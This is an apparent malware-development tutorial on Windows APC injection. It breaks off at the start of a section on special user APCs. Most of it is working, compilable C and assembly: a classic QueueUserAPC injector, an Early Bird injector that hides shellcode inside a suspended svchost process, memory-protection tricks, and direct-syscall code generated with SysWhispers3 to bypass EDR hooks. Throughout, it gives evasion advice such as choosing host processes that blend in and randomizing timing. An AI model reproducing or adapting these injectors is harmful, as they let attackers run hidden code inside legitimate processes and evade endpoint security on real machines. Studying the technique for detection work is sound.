ᛉ Yggdrasil

Malware development

APC Injection

15 Sep 2026 · 9,267 words · 42 min

Contents

Legend: [APC] = APC-specific technique | [INJECT] = Injection method | [SYSCALL] = Syscall / API | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [WIN] = Windows internals detail


1. What is APC Injection

What it means: APC (Asynchronous Procedure Call) Injection is a code injection technique that abuses the Windows APC mechanism to execute arbitrary shellcode inside the address space of a target process. Instead of creating a new thread (which is heavily monitored), the attacker queues a function pointer to an existing thread's APC queue. When the thread enters an alertable wait state, Windows automatically calls the queued function — executing the attacker's shellcode in the context of the target thread, in the target process.

Why APC injection over CreateRemoteThread:

CreateRemoteThread (classic injection):
├─ Creates a brand NEW thread in target process
├─ Immediately visible: new thread in process — high EDR alert
├─ ETW (Event Tracing for Windows) logs thread creation
├─ Sysmon Event ID 8: CreateRemoteThread — VERY noisy
└─ Detection: Trivial for any modern EDR

APC Injection:
├─ Queues function to an EXISTING thread — no new thread created
├─ Thread already exists in the process — less suspicious
├─ Execution deferred until thread enters alertable wait
├─ No Sysmon Event 8 generated
└─ Detection: Harder — requires monitoring NtQueueApcThread calls

High-level attack flow:

Attacker Process                Target Process
───────────────                 ──────────────
1. OpenProcess()   ──────────►  Get handle to target
2. VirtualAllocEx() ─────────►  Allocate RWX memory in target
3. WriteProcessMemory() ──────►  Write shellcode to allocation
4. QueueUserAPC() ────────────►  Queue shellcode ptr to thread's APC queue
                                         │
                                         ▼
                                  Thread APC Queue:
                                  [shellcode_ptr] ◄─── waiting
                                         │
                                         ▼
                                  Thread enters SleepEx() /
                                  WaitForSingleObjectEx() /
                                  MsgWaitForMultipleObjectsEx()
                                  [alertable wait]
                                         │
                                         ▼
                                  Windows dispatches APC:
                                  → Calls shellcode_ptr()
                                  → Shellcode executes in
                                    target thread context

Why it matters for red teaming:

Scenario CreateRemoteThread APC Injection
New thread created YES — logged NO — uses existing
Sysmon Event 8 YES — always fired NO
ETW thread create event YES NO
Execution timing Immediate Deferred (alertable wait)
Target must be alertable No YES — key constraint
Works on self (current process) Yes Yes (SleepEx trick)
PPL protected process bypass No No (both need handle)
Noise level Very High Low–Medium

[OPSEC] APC injection still requires OpenProcess() with PROCESS_ALL_ACCESS or at minimum PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_VM_READ. That handle open is itself a detection point.


2. Windows APC Internals

What it means: Understanding the internal structures Windows uses for APCs is critical for exploiting and evading detection of this technique. APCs are implemented as a kernel-side linked list on each thread object (KTHREAD). Each entry in the list is an KAPC structure. The dispatcher calls queued APCs when a thread voluntarily enters an alertable wait.

2.1 KAPC Structure (Kernel APC Object)

KAPC Structure (Windows 10/11 x64):

typedef struct _KAPC {
    UCHAR  Type;                 // 0x00 — ApcObject (18)
    UCHAR  SpareByte0;           // 0x01
    UCHAR  Size;                 // 0x02 — sizeof(KAPC) = 0x58
    UCHAR  SpareByte1;           // 0x03
    ULONG  SpareLong0;           // 0x04
    KTHREAD *Thread;             // 0x08 — owning thread
    LIST_ENTRY ApcListEntry;     // 0x10 — links in APC queue list
    PKKERNEL_ROUTINE KernelRoutine;   // 0x20 — kernel APC callback
    PKRUNDOWN_ROUTINE RundownRoutine; // 0x28 — cleanup on thread exit
    PKNORMAL_ROUTINE NormalRoutine;   // 0x30 — user-mode APC callback
    PVOID NormalContext;         // 0x38 — arg1 to NormalRoutine
    PVOID SystemArgument1;       // 0x40 — arg2 to NormalRoutine
    PVOID SystemArgument2;       // 0x48 — arg3 to NormalRoutine
    CCHAR ApcStateIndex;         // 0x50 — which APC list (0=kernel, 1=user)
    KPROCESSOR_MODE ApcMode;     // 0x51 — KernelMode(0) or UserMode(1)
    BOOLEAN Inserted;            // 0x52 — TRUE if in queue
} KAPC, *PKAPC;

2.2 KTHREAD APC Queue Location

KTHREAD relevant fields (abbreviated, Windows 10 x64):

KTHREAD
├─ ...
├─ +0x090  ApcStateFill[0x43]    ← APC state embedded here
├─ +0x098  KAPC_STATE ApcState   ← Primary APC state
│   ├─ ApcListHead[0]            ← Kernel APC list head
│   ├─ ApcListHead[1]            ← User APC list head  ◄── Our target
│   ├─ Process                   ← Owning process
│   ├─ KernelApcInProgress
│   ├─ KernelApcPending
│   └─ UserApcPending            ◄── Flag: user APC queued
├─ +0x2b8  KAPC_STATE SavedApcState
└─ ...

When QueueUserAPC() is called:
1. NtQueueApcThread() syscall → kernel
2. Kernel inserts KAPC into KTHREAD.ApcState.ApcListHead[1] (user list)
3. Sets KTHREAD.ApcState.UserApcPending = TRUE
4. Sets KTHREAD.Tcb.ApcState.UserApcPending = TRUE
5. Optionally: alert the thread (if in alertable wait)

2.3 APC Dispatch Flow (What Happens at Alertable Wait)

Thread calls SleepEx(ms, TRUE):       ← TRUE = alertable
│
├─ Kernel: KeWaitForSingleObject with Alertable=TRUE
├─ Kernel checks: ApcState.UserApcPending?
│   └─ YES → don't sleep, return STATUS_USER_APC
│
├─ KiDeliverApc() is called:
│   ├─ Walk ApcListHead[1] (user APC list)
│   ├─ For each KAPC entry:
│   │   ├─ Set up user-mode stack frame
│   │   ├─ Push: NormalContext, SystemArgument1, SystemArgument2
│   │   ├─ Push: return address → KiUserApcDispatcher
│   │   └─ Set RIP = NormalRoutine (our shellcode pointer)
│   └─ Return to user mode
│
├─ CPU: now executing at RIP = shellcode_ptr
│   ├─ Our shellcode runs in the context of the target thread
│   └─ After shellcode returns → KiUserApcDispatcher cleans up
│
└─ Thread continues normal execution

2.4 Key APIs

User-Mode APIs:
┌──────────────────────────────────────────────────────────────┐
│ QueueUserAPC(pfnAPC, hThread, dwData)                        │
│   → Calls NtQueueApcThread() syscall                         │
│   → pfnAPC: PAPCFUNC callback (shellcode ptr)                │
│   → hThread: target thread handle                            │
│   → dwData: single ULONG_PTR argument to pfnAPC             │
├──────────────────────────────────────────────────────────────┤
│ NtQueueApcThread(hThread, ApcRoutine, Arg1, Arg2, Arg3)     │
│   → Native syscall (ntdll.dll)                               │
│   → 3 arguments vs QueueUserAPC's 1                         │
│   → Direct syscall possible (avoid hooked ntdll)            │
├──────────────────────────────────────────────────────────────┤
│ NtQueueApcThreadEx(hThread, ReserveHandle, ApcRoutine, ...) │
│   → Extended version — Special User APC (Win10+)            │
│   → Does NOT require alertable state                         │
│   → ReserveHandle controls memory reservation               │
└──────────────────────────────────────────────────────────────┘

3. APC Queue States — Alertable vs Non-Alertable

What it means: This is the most important constraint of classic APC injection. A thread only processes its user-mode APC queue when it voluntarily enters an alertable wait state. A thread that never calls alertable wait functions will never execute queued APCs — the shellcode will sit in the queue forever (or until the process exits).

3.1 Alertable Wait Functions

Functions that cause a thread to enter ALERTABLE wait
(and therefore process queued APCs):

Win32 API Level:
├─ SleepEx(dwMilliseconds, TRUE)          ← bAlertable MUST be TRUE
├─ WaitForSingleObjectEx(h, ms, TRUE)
├─ WaitForMultipleObjectsEx(n, h, b, ms, TRUE)
├─ SignalObjectAndWait(h1, h2, ms, TRUE)
├─ MsgWaitForMultipleObjectsEx(n, h, ms, QS_*, MWMO_ALERTABLE)
└─ GetQueuedCompletionStatusEx(iocp, buf, n, removed, ms, TRUE)

Native API Level:
├─ NtWaitForSingleObject(h, TRUE, timeout)
├─ NtWaitForMultipleObjects(n, h, wait, TRUE, timeout)
├─ NtDelayExecution(TRUE, interval)          ← SleepEx → this
└─ ZwWaitForSingleObject(h, TRUE, timeout)

NOTE: Regular Sleep() is NOT alertable:
├─ Sleep(1000)          ← NON-alertable, APCs never dispatched
└─ SleepEx(1000, TRUE)  ← ALERTABLE, APCs dispatched

3.2 Common Processes with Alertable Threads

Processes commonly found with alertable threads:

explorer.exe
├─ Shell window management uses alertable I/O
├─ MsgWaitForMultipleObjectsEx in message loop
└─ Reliability: Medium (depends on UI activity)

svchost.exe
├─ Many service host threads use completion ports
├─ GetQueuedCompletionStatusEx (alertable)
└─ Reliability: High (service threads always waiting)

werfault.exe
├─ Error reporting — lots of I/O waits
└─ Reliability: Low (short-lived)

notepad.exe / any GUI app
├─ Main message pump uses alertable wait variants
└─ Reliability: Medium

spoolsv.exe
├─ Print spooler — heavy I/O
└─ Reliability: High

SearchIndexer.exe / SearchProtocolHost.exe
├─ Continuous indexing — always waiting for I/O
└─ Reliability: High

3.3 Check If Thread Is in Alertable Wait (Python — via Debugging)

#!/usr/bin/env python3
# check_alertable.py — Identify threads in alertable wait using WinAPI
# Requires: pywin32

import win32api
import win32con
import win32process
import ctypes
import sys

THREAD_QUERY_INFORMATION = 0x0040
TH32CS_SNAPTHREAD = 0x00000004

class THREADENTRY32(ctypes.Structure):
    _fields_ = [
        ("dwSize",             ctypes.c_ulong),
        ("cntUsage",           ctypes.c_ulong),
        ("th32ThreadID",       ctypes.c_ulong),
        ("th32OwnerProcessID", ctypes.c_ulong),
        ("tpBasePri",          ctypes.c_long),
        ("tpDeltaPri",         ctypes.c_long),
        ("dwFlags",            ctypes.c_ulong),
    ]

def get_threads_of_pid(pid: int) -> list:
    """Return list of thread IDs belonging to a process."""
    kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
    snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
    if snapshot == ctypes.c_void_p(-1).value:
        return []

    threads = []
    entry = THREADENTRY32()
    entry.dwSize = ctypes.sizeof(THREADENTRY32)

    if kernel32.Thread32First(snapshot, ctypes.byref(entry)):
        while True:
            if entry.th32OwnerProcessID == pid:
                threads.append(entry.th32ThreadID)
            if not kernel32.Thread32Next(snapshot, ctypes.byref(entry)):
                break

    kernel32.CloseHandle(snapshot)
    return threads

def is_thread_in_alertable_wait(tid: int) -> bool:
    """
    Heuristic: open thread, try to queue a no-op APC.
    If QueueUserAPC succeeds AND thread wakes immediately,
    it was in alertable wait.
    (For enumeration only — use SuspendThread+GetContext for real check)
    """
    kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)

    hThread = kernel32.OpenThread(
        THREAD_QUERY_INFORMATION | 0x0002,  # + THREAD_SUSPEND_RESUME
        False, tid
    )
    if not hThread:
        return False

    # Get thread context to check RIP against known alertable functions
    # (ntdll!NtDelayExecution, ntdll!NtWaitForSingleObject, etc.)
    # Full implementation requires SuspendThread + GetThreadContext
    # This is a simplified check

    kernel32.CloseHandle(hThread)
    return True

# ─── Usage ───────────────────────────────────────────────────
target_pid = int(sys.argv[1]) if len(sys.argv) > 1 else 0

if target_pid:
    tids = get_threads_of_pid(target_pid)
    print(f"[*] Threads in PID {target_pid}: {tids}")
    for tid in tids:
        print(f"    TID {tid}")

4. Classic APC Injection (QueueUserAPC)

What it means: The foundational APC injection technique. Allocate memory in the target process, write shellcode, then call QueueUserAPC() pointing at the shellcode for one or more threads in the target. The shellcode executes when any of those threads enters an alertable wait. This is the baseline everyone learns first.

4.1 Full Implementation (C — QueueUserAPC)

// apc_inject.c — Classic APC Injection via QueueUserAPC
// Compile: cl.exe apc_inject.c /Fe:apc_inject.exe

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// ─── Shellcode placeholder ────────────────────────────────────
// Replace with your actual shellcode (msfvenom, Havoc, Sliver, etc.)
// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
    0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
    // ... truncated for brevity, paste full shellcode here
    0x58, 0xc3
};
SIZE_T shellcode_len = sizeof(shellcode);
// ─────────────────────────────────────────────────────────────

// Get all thread IDs for a given process ID
DWORD* GetProcessThreadIDs(DWORD pid, DWORD* count) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return NULL;

    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD capacity = 64, idx = 0;
    DWORD* tids = (DWORD*)HeapAlloc(GetProcessHeap(), 0, capacity * sizeof(DWORD));

    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid) {
                if (idx >= capacity) {
                    capacity *= 2;
                    tids = (DWORD*)HeapReAlloc(GetProcessHeap(), 0, tids, capacity * sizeof(DWORD));
                }
                tids[idx++] = te.th32ThreadID;
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);
    *count = idx;
    return tids;
}

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: %s <target_pid>\n", argv[0]);
        return 1;
    }
    DWORD target_pid = (DWORD)atoi(argv[1]);
    printf("[*] Target PID: %lu\n", target_pid);

    // ── Step 1: Open target process ──────────────────────────
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION,
        FALSE,
        target_pid
    );
    if (!hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Process handle: 0x%p\n", hProcess);

    // ── Step 2: Allocate RWX memory in target ────────────────
    LPVOID remote_buf = VirtualAllocEx(
        hProcess,
        NULL,
        shellcode_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE   // RWX — detectable, see §10 for better approach
    );
    if (!remote_buf) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Remote allocation: 0x%p (%zu bytes)\n", remote_buf, shellcode_len);

    // ── Step 3: Write shellcode ──────────────────────────────
    SIZE_T bytes_written = 0;
    if (!WriteProcessMemory(hProcess, remote_buf, shellcode, shellcode_len, &bytes_written)) {
        printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, remote_buf, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return 1;
    }
    printf("[+] Shellcode written (%zu bytes)\n", bytes_written);

    // ── Step 4: Queue APC to ALL threads in target ───────────
    // Queue to ALL threads = higher chance one is alertable
    DWORD thread_count = 0;
    DWORD* tids = GetProcessThreadIDs(target_pid, &thread_count);
    printf("[*] Found %lu threads in PID %lu\n", thread_count, target_pid);

    DWORD queued = 0;
    for (DWORD i = 0; i < thread_count; i++) {
        HANDLE hThread = OpenThread(
            THREAD_SET_CONTEXT,   // Minimum required for QueueUserAPC
            FALSE,
            tids[i]
        );
        if (!hThread) {
            printf("    [-] Thread %lu: OpenThread failed (%lu)\n", tids[i], GetLastError());
            continue;
        }

        // Cast shellcode pointer to PAPCFUNC
        if (QueueUserAPC((PAPCFUNC)remote_buf, hThread, 0)) {
            printf("    [+] Thread %lu: APC queued\n", tids[i]);
            queued++;
        } else {
            printf("    [-] Thread %lu: QueueUserAPC failed (%lu)\n", tids[i], GetLastError());
        }
        CloseHandle(hThread);
    }

    printf("[*] APCs queued to %lu/%lu threads\n", queued, thread_count);
    printf("[*] Shellcode will execute when a thread enters alertable wait\n");

    HeapFree(GetProcessHeap(), 0, tids);
    CloseHandle(hProcess);
    return 0;
}

4.2 Compile and Run

:: Compile with MSVC (Visual Studio Developer Command Prompt)
cl.exe apc_inject.c /Fe:apc_inject.exe /nologo

:: Compile with MinGW (cross-compile from Linux)
x86_64-w64-mingw32-gcc apc_inject.c -o apc_inject.exe -lkernel32

:: Run
apc_inject.exe 1234          :: Inject into PID 1234

:: Find PID of target
tasklist | findstr notepad    :: Get notepad.exe PID
Get-Process notepad | Select Id   :: PowerShell

4.3 QueueUserAPC Argument Detail

// QueueUserAPC signature:
DWORD QueueUserAPC(
    PAPCFUNC pfnAPC,    // Pointer to APC function (shellcode address)
    HANDLE   hThread,   // Thread to queue APC to
    ULONG_PTR dwData    // Single argument passed to pfnAPC
);

// PAPCFUNC signature (what your shellcode "acts as"):
typedef VOID (NTAPI *PAPCFUNC)(ULONG_PTR dwParam);

// The thread must have THREAD_SET_CONTEXT access right
// Minimum process rights needed:
//   PROCESS_VM_WRITE       — WriteProcessMemory
//   PROCESS_VM_OPERATION   — VirtualAllocEx
//   PROCESS_QUERY_INFORMATION — used for various queries
// Full: PROCESS_ALL_ACCESS (noisy — avoid if possible)

// Return value:
//   Non-zero = APC queued successfully
//   Zero     = Failed, call GetLastError()

[DETECT] QueueUserAPC is a well-known injection API. EDR hooks on QueueUserAPC and NtQueueApcThread in ntdll.dll are common. Use direct syscalls (see §6) to avoid user-land hooks.


5. Early Bird APC Injection

What it means: Early Bird is the most reliable and OPSEC-friendly APC variant. Instead of injecting into an existing process (requiring OpenProcess on a running target), you create a new process in suspended state, inject shellcode before the main thread even runs, then resume. The injected code runs before the process's own entry point — before EDR hooks are initialized in the target process. This means the shellcode runs before any EDR DLLs loaded by the target can monitor execution.

5.1 Why Early Bird Beats Classic APC

Classic APC (existing process):
├─ Target process already running
├─ EDR has already injected its monitoring DLLs
├─ EDR hooks on key APIs are already active in target
├─ Need alertable thread (uncertain)
└─ OpenProcess on a running process = loud signal

Early Bird (new suspended process):
├─ CREATE the process ourselves (controlled)
├─ Process in SUSPENDED state → nothing has run yet
├─ No EDR DLLs loaded yet in target (just ntdll + kernel32)
├─ Main thread is alertable by design in suspended state
├─ Shellcode runs BEFORE process entry point
├─ Shellcode runs BEFORE EDR can hook target's APIs
└─ Detection: Much harder — process creation looks legitimate

5.2 Early Bird Implementation (C)

// early_bird.c — Early Bird APC Injection
// Creates a legitimate process in suspended state, injects shellcode,
// resumes — shellcode runs before target's own code.

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {
    // Replace with actual shellcode
    // msfvenom -p windows/x64/exec CMD=calc.exe -f c
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
    // ... paste full shellcode bytes here ...
    0x58, 0xc3
};
SIZE_T shellcode_len = sizeof(shellcode);

int main() {
    STARTUPINFOA        si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };

    // ── Step 1: Create target process in SUSPENDED state ─────
    // Use a legitimate Windows binary as the "host"
    // svchost.exe, RuntimeBroker.exe, notepad.exe, etc.
    BOOL created = CreateProcessA(
        NULL,                           // Application name
        "C:\\Windows\\System32\\svchost.exe -k netsvcs",  // Command line
        NULL,                           // Process security
        NULL,                           // Thread security
        FALSE,                          // Inherit handles
        CREATE_SUSPENDED | CREATE_NO_WINDOW,  // SUSPENDED is the key flag
        NULL,                           // Inherit environment
        NULL,                           // Inherit working directory
        &si,
        &pi
    );

    if (!created) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] Process created (suspended)\n");
    printf("    PID: %lu\n", pi.dwProcessId);
    printf("    TID: %lu (main thread, suspended)\n", pi.dwThreadId);

    // ── Step 2: Allocate RWX memory in the NEW process ───────
    LPVOID remote_buf = VirtualAllocEx(
        pi.hProcess,
        NULL,
        shellcode_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!remote_buf) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }
    printf("[+] Remote allocation: 0x%p\n", remote_buf);

    // ── Step 3: Write shellcode ──────────────────────────────
    SIZE_T written = 0;
    WriteProcessMemory(pi.hProcess, remote_buf, shellcode, shellcode_len, &written);
    printf("[+] Shellcode written: %zu bytes\n", written);

    // ── Step 4: Queue APC to the suspended main thread ───────
    // The suspended main thread IS alertable — it will execute our APC
    // the moment we resume it (before its own entry point runs)
    if (!QueueUserAPC((PAPCFUNC)remote_buf, pi.hThread, 0)) {
        printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 0);
        return 1;
    }
    printf("[+] APC queued to main thread (TID: %lu)\n", pi.dwThreadId);

    // ── Step 5: Resume the thread ────────────────────────────
    // Thread wakes → checks APC queue → executes shellcode → 
    // THEN runs process entry point (or shellcode takes over completely)
    ResumeThread(pi.hThread);
    printf("[+] Thread resumed — shellcode executing\n");

    // Close handles
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

5.3 Choosing the Right Host Process

// Good host processes for Early Bird:
// ─────────────────────────────────────────────────────────────
// Blends in well:
const char* good_hosts[] = {
    "C:\\Windows\\System32\\svchost.exe",         // Very common, multiple instances
    "C:\\Windows\\System32\\RuntimeBroker.exe",   // Common Windows 10/11 process
    "C:\\Windows\\System32\\dllhost.exe",         // COM surrogate — blends well
    "C:\\Windows\\SysWOW64\\dllhost.exe",         // 32-bit COM (if targeting 32-bit)
    "C:\\Windows\\System32\\WerFault.exe",        // Error reporting
    "C:\\Windows\\System32\\conhost.exe",         // Console window host
    NULL
};

// For living-off-the-land:
// Match the target process to the environment
// (finance network → use Excel/Word via COM; IT network → svchost)

// Suspicious / avoid:
// - cmd.exe spawning unusual children (parent-child anomaly)
// - powershell.exe (heavily monitored)
// - msbuild.exe / wscript.exe / cscript.exe (LOLBin flagged)

5.4 Early Bird with RW→RX Memory (Better OPSEC)

// Better OPSEC: Allocate RW, write, change to RX — avoid RWX
// RWX regions are heavily flagged by EDR

LPVOID remote_buf = VirtualAllocEx(
    pi.hProcess,
    NULL,
    shellcode_len,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE          // Start as RW (not RWX)
);

// Write shellcode
WriteProcessMemory(pi.hProcess, remote_buf, shellcode, shellcode_len, NULL);

// Change protection to RX (executable, not writable)
DWORD old_protect;
VirtualProtectEx(
    pi.hProcess,
    remote_buf,
    shellcode_len,
    PAGE_EXECUTE_READ,      // RX — no write permission
    &old_protect
);

// Now queue APC and resume
QueueUserAPC((PAPCFUNC)remote_buf, pi.hThread, 0);
ResumeThread(pi.hThread);

[OPSEC] Early Bird is one of the cleanest injection techniques. The main detection vector is the CREATE_SUSPENDED flag on CreateProcess followed quickly by WriteProcessMemory + QueueUserAPC on the new process — that sequence is a known signature. Randomize timing between steps.


6. APC Injection via NtQueueApcThread (Native API)

What it means: QueueUserAPC (in kernel32.dll) is a thin wrapper that calls NtQueueApcThread in ntdll.dll, which makes a syscall into the kernel. EDRs commonly hook QueueUserAPC and NtQueueApcThread at the ntdll level to intercept injections. By using direct syscalls (bypassing ntdll entirely), you make the syscall instruction directly — EDR hooks in ntdll are never called.

6.1 Why Direct Syscalls Beat Hooked APIs

Call chain (hooked by EDR):

Your code
    → QueueUserAPC (kernel32.dll)        ← EDR hook possible
        → NtQueueApcThread (ntdll.dll)   ← EDR HOOK HERE (most common)
            → syscall instruction
                → kernel

Call chain (direct syscall):

Your code
    → syscall stub (in YOUR code)        ← EDR hook NOT present
        → syscall instruction
            → kernel
            (ntdll never called — hooks bypassed)

6.2 NtQueueApcThread Syscall Number

// Syscall numbers change between Windows versions
// Must resolve at runtime or use a library like SysWhispers

// Windows 10 21H2 (x64): NtQueueApcThread = 0x0069
// Windows 10 22H2 (x64): NtQueueApcThread = 0x0069
// Windows 11 21H2 (x64): NtQueueApcThread = 0x006B
// Windows 11 22H2 (x64): NtQueueApcThread = 0x006B
// Windows Server 2019    : NtQueueApcThread = 0x0069
// (Numbers shift with each major update — ALWAYS resolve dynamically)

// NtQueueApcThread prototype:
typedef NTSTATUS (NTAPI *pNtQueueApcThread)(
    HANDLE   ThreadHandle,
    PVOID    ApcRoutine,     // Shellcode pointer
    PVOID    ApcRoutineContext,  // Arg1 to ApcRoutine
    PVOID    ApcStatusBlock,    // Arg2
    PVOID    ApcReserved        // Arg3
);

6.3 Direct Syscall Stub (x64 MASM / Inline)

; NtQueueApcThread direct syscall stub (x64 MASM)
; Assemble: ml64.exe /c syscall_stubs.asm

PUBLIC NtQueueApcThread_Syscall

.CODE

NtQueueApcThread_Syscall PROC
    ; Syscall number for NtQueueApcThread
    ; Replace 0069h with resolved number at runtime
    mov r10, rcx             ; NT calling convention: first arg → r10
    mov eax, 0069h           ; syscall number (hardcoded or patched at runtime)
    syscall                  ; enter kernel
    ret
NtQueueApcThread_Syscall ENDP

END

6.4 SysWhispers3 — Dynamic Syscall Resolution

# SysWhispers3: https://github.com/klezVirus/SysWhispers3
# Generates direct syscall stubs with dynamic SSN (Syscall Service Number) resolution

git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip3 install -r requirements.txt

# Generate syscall stubs for NtQueueApcThread + other needed APIs
python3 syswhispers.py \
    --functions NtQueueApcThread,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtOpenProcess,NtOpenThread \
    --out-file syscalls \
    --arch x64 \
    --compiler msvc

# Output files:
# syscalls.h   — function declarations
# syscalls.c   — resolver implementation  
# syscallsstubs.asm — actual syscall stubs

# Compile with your project:
# cl.exe your_injector.c syscalls.c /Fe:injector.exe
# Then link syscallsstubs.asm (compiled with ml64.exe)

6.5 Full NtQueueApcThread Injection with SysWhispers

// nt_apc_inject.c — APC injection using direct syscalls (SysWhispers3)
#include <windows.h>
#include "syscalls.h"   // Generated by SysWhispers3

unsigned char shellcode[] = { /* your shellcode */ 0xcc };
SIZE_T shellcode_len = sizeof(shellcode);

// Helper: resolve PID to HANDLE via NtOpenProcess (syscall)
HANDLE OpenProcessSyscall(DWORD pid) {
    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES) };
    CLIENT_ID clientId = { (HANDLE)(ULONG_PTR)pid, 0 };

    // NtOpenProcess — direct syscall (from SysWhispers)
    NTSTATUS status = NtOpenProcess(
        &hProcess,
        PROCESS_ALL_ACCESS,
        &objAttr,
        &clientId
    );
    return (NT_SUCCESS(status)) ? hProcess : NULL;
}

// Helper: open thread via NtOpenThread (syscall)
HANDLE OpenThreadSyscall(DWORD tid) {
    HANDLE hThread = NULL;
    OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES) };
    CLIENT_ID clientId = { 0, (HANDLE)(ULONG_PTR)tid };

    NTSTATUS status = NtOpenThread(
        &hThread,
        THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION,
        &objAttr,
        &clientId
    );
    return (NT_SUCCESS(status)) ? hThread : NULL;
}

void InjectApcSyscall(DWORD pid, DWORD tid) {
    // ── Step 1: Open process ─────────────────────────────────
    HANDLE hProcess = OpenProcessSyscall(pid);
    if (!hProcess) { printf("[-] NtOpenProcess failed\n"); return; }

    // ── Step 2: Allocate memory (RW first) ───────────────────
    PVOID  remote_buf  = NULL;
    SIZE_T region_size = shellcode_len;

    // NtAllocateVirtualMemory — direct syscall
    NTSTATUS st = NtAllocateVirtualMemory(
        hProcess,
        &remote_buf,
        0,
        &region_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );
    if (!NT_SUCCESS(st)) { printf("[-] NtAllocateVirtualMemory: 0x%08X\n", st); return; }
    printf("[+] Allocated: 0x%p\n", remote_buf);

    // ── Step 3: Write shellcode ──────────────────────────────
    SIZE_T bytes_written = 0;
    // NtWriteVirtualMemory — direct syscall
    st = NtWriteVirtualMemory(hProcess, remote_buf, shellcode, shellcode_len, &bytes_written);
    if (!NT_SUCCESS(st)) { printf("[-] NtWriteVirtualMemory: 0x%08X\n", st); return; }

    // ── Step 4: Change to RX ─────────────────────────────────
    DWORD old_protect;
    SIZE_T protect_size = shellcode_len;
    // NtProtectVirtualMemory — direct syscall
    st = NtProtectVirtualMemory(hProcess, &remote_buf, &protect_size, PAGE_EXECUTE_READ, &old_protect);
    if (!NT_SUCCESS(st)) { printf("[-] NtProtectVirtualMemory: 0x%08X\n", st); return; }
    printf("[+] Memory set to RX\n");

    // ── Step 5: Open thread and queue APC ────────────────────
    HANDLE hThread = OpenThreadSyscall(tid);
    if (!hThread) { printf("[-] NtOpenThread failed\n"); return; }

    // NtQueueApcThread — direct syscall (the key one)
    st = NtQueueApcThread(
        hThread,
        (PVOID)remote_buf,  // ApcRoutine = shellcode ptr
        remote_buf,         // ApcRoutineContext (arg1) = same ptr (some shellcode needs this)
        NULL,               // ApcStatusBlock
        NULL                // ApcReserved
    );
    if (NT_SUCCESS(st)) {
        printf("[+] NtQueueApcThread succeeded (direct syscall)\n");
    } else {
        printf("[-] NtQueueApcThread: 0x%08X\n", st);
    }

    NtClose(hThread);
    NtClose(hProcess);
}

[OPSEC] Direct syscalls bypass user-land EDR hooks but are still visible at the kernel ETW level (Microsoft-Windows-Kernel-Process provider). Kernel-mode ETW is harder for attackers to control.


7. NtQueueApcThreadEx — Special User APC

What it means: NtQueueApcThreadEx is an extended version of NtQueueApcThread introduced in Windows 10. Its key feature: when called with a Special User APC (QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC), the APC does not require the thread to be in an alertable state. It delivers the APC to the thread at the next kernel-to-user mode transition — after any system call, interrupt handler return, or exception handler return. This defeats the primary limitation of classic APC injection.

7.1 Special User APC vs Regular User APC

Regular User APC (QueueUserAPC / NtQueueApcThread):
├─ APC sits in queue until thread is alertable
├─ Thread must call SleepEx(TRUE), WaitForSingleObjectEx(TRUE), etc.
├─ If thread never becomes alertable → APC never executes
└─ Limitation: Requires alertable thread

Special User APC (NtQueueApcThreadEx):
├─ APC delivered at NEXT kernel exit (any syscall return, int handler)
├─ Thread does NOT need to be alertable
├─ Delivered nearly immediately (next time thread returns from kernel)
├─ Much more reliable — works on almost any thread
└─ Available: Windows 10 RS5 (1809) and later

7.2 NtQueueApcThreadEx Prototype and Flags

// NtQueueApcThreadEx is undocumented — defined via reverse engineering
typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx)(
    HANDLE   ThreadHandle,
    HANDLE   ReserveHandle,     // NULL for Special User APC (no reserve obj)
    PVOID    ApcRoutine,
    PVOID    ApcRoutineContext, // Arg1
    PVOID    ApcStatusBlock,    // Arg2
    PVOID    ApcReserved        // Arg3
);

// Or newer signature (Windows 10 20H2+):
